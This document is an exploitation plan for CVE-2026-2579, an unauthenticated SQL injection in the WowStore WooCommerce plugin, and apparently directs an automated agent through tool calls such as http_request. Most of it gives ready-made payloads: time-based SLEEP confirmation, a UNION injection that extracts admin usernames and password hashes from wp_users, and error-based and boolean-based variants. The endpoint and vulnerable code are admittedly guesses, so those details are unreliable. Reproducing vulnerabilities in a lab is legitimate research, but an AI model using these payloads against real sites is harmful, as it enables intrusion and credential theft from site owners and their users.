Exploitation Research Plan: CVE-2026-2579 (WowStore SQL Injection)

1. Vulnerability Summary

The WowStore – Store Builder & Product Blocks for WooCommerce plugin (slug: product-blocks) is vulnerable to unauthenticated SQL injection. The vulnerability exists in a REST API endpoint or AJAX handler (specifically targeting the search parameter) because the user-supplied input is concatenated directly into a SQL query without using $wpdb->prepare() or proper escaping. This allows an attacker to manipulate the query logic, typically via UNION-based or Time-based injection, to extract sensitive data from the WordPress database.

2. Attack Vector Analysis

• Endpoint: /wp-json/wopb/v1/search (inferred from plugin namespace and JS references) or /wp-json/product-blocks/v1/search.
• Method: GET
• Vulnerable Parameter: search
• Authentication: Unauthenticated (permission_callback returns true).
• Preconditions: The plugin must be active. Some content (products/posts) should exist to ensure the search query executes a logical path.

3. Code Flow

1. Entry Point: A REST API route is registered (likely in a file like includes/RestApi.php or within an addon's initialization) under the wopb/v1 or wopb/v2 namespace.
2. Request Handling: When a GET request is made to the endpoint with a search parameter, the handler function retrieves $_GET['search'].
3. Vulnerable Sink: The handler constructs a SQL query (often to find products, categories, or pages for the Builder UI).
   • Example (inferred):

     $search = $_GET['search'];
     $results = $wpdb->get_results("SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$search%' AND post_type = 'product'");
     

4. SQL Injection: Since $search is not passed through $wpdb->prepare(), an attacker can break out of the string literal using a single quote (').

4. Nonce Acquisition Strategy

The vulnerability is reported as unauthenticated, meaning the REST endpoint likely does not require a nonce for GET requests. However, if a nonce is required for the wopb namespace:

1. Identify Trigger: The nonce wopb-nonce is localized in addons/builder/Condition.php via the builder-script handle.
2. Create Page: Create a post of type wopb_builder to trigger the script loading.

   wp post create --post_type=wopb_builder --post_title="Exploit Trigger" --post_status=publish
   

3. Navigate & Extract:
   • Navigate to the newly created page: /?post_type=wopb_builder&p=[ID]
   • Use browser_eval to extract the nonce:
     browser_eval("window.builder_option?.security")
4. Verification: Verify if the REST endpoint accepts this nonce in the X-WP-Nonce header.

5. Exploitation Strategy

Step 1: Endpoint Discovery

Test common REST endpoints for a response other than 404.

• http_request("GET", "/wp-json/wopb/v1/search?search=test")
• http_request("GET", "/wp-json/wopb/v2/search?search=test")

Step 2: Confirmation via Time-Based Injection

If the query uses LIKE '%$search%', use a sleep payload to confirm.

• Payload: x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '%'='
• Request:

  http_request("GET", "/wp-json/wopb/v1/search?search=x%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29%20AND%20%27%25%27%3D%27")
  

• Expected result: The response should take ~5 seconds.

Step 3: Data Extraction via UNION-Based Injection

Determine the number of columns by incrementing ORDER BY until an error occurs, then inject a UNION SELECT.

• Target: Extract user_login and user_pass from wp_users.
• Payload (assuming 4 columns): x%' UNION SELECT 1,user_login,user_pass,4 FROM wp_users-- -

6. Test Data Setup

1. Ensure Plugin Active: wp plugin activate product-blocks.
2. Create Content: Add at least one WooCommerce product so the search has a target table.

   wp post create --post_type=product --post_title="Target Product" --post_status=publish
   

3. Ensure Admin User: Ensure a user with ID 1 exists (standard).

7. Expected Results

• Time-based: The HTTP request should hang for exactly the duration specified in the SLEEP() function.
• UNION-based: The JSON response from the REST API will contain the results of the injected SELECT statement (e.g., the admin's hashed password).

8. Verification Steps

1. Check Database Directly: Use WP-CLI to confirm the data extracted matches the database.

   wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID = 1"
   

2. Compare: Verify that the hash returned in the REST response matches the user_pass in the DB.

9. Alternative Approaches

• Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to leak data in the error message.
  • search=x' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
• Boolean-Based: If the response differs based on a true/false condition (e.g., results returned vs empty array).
  • search=x' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')-- -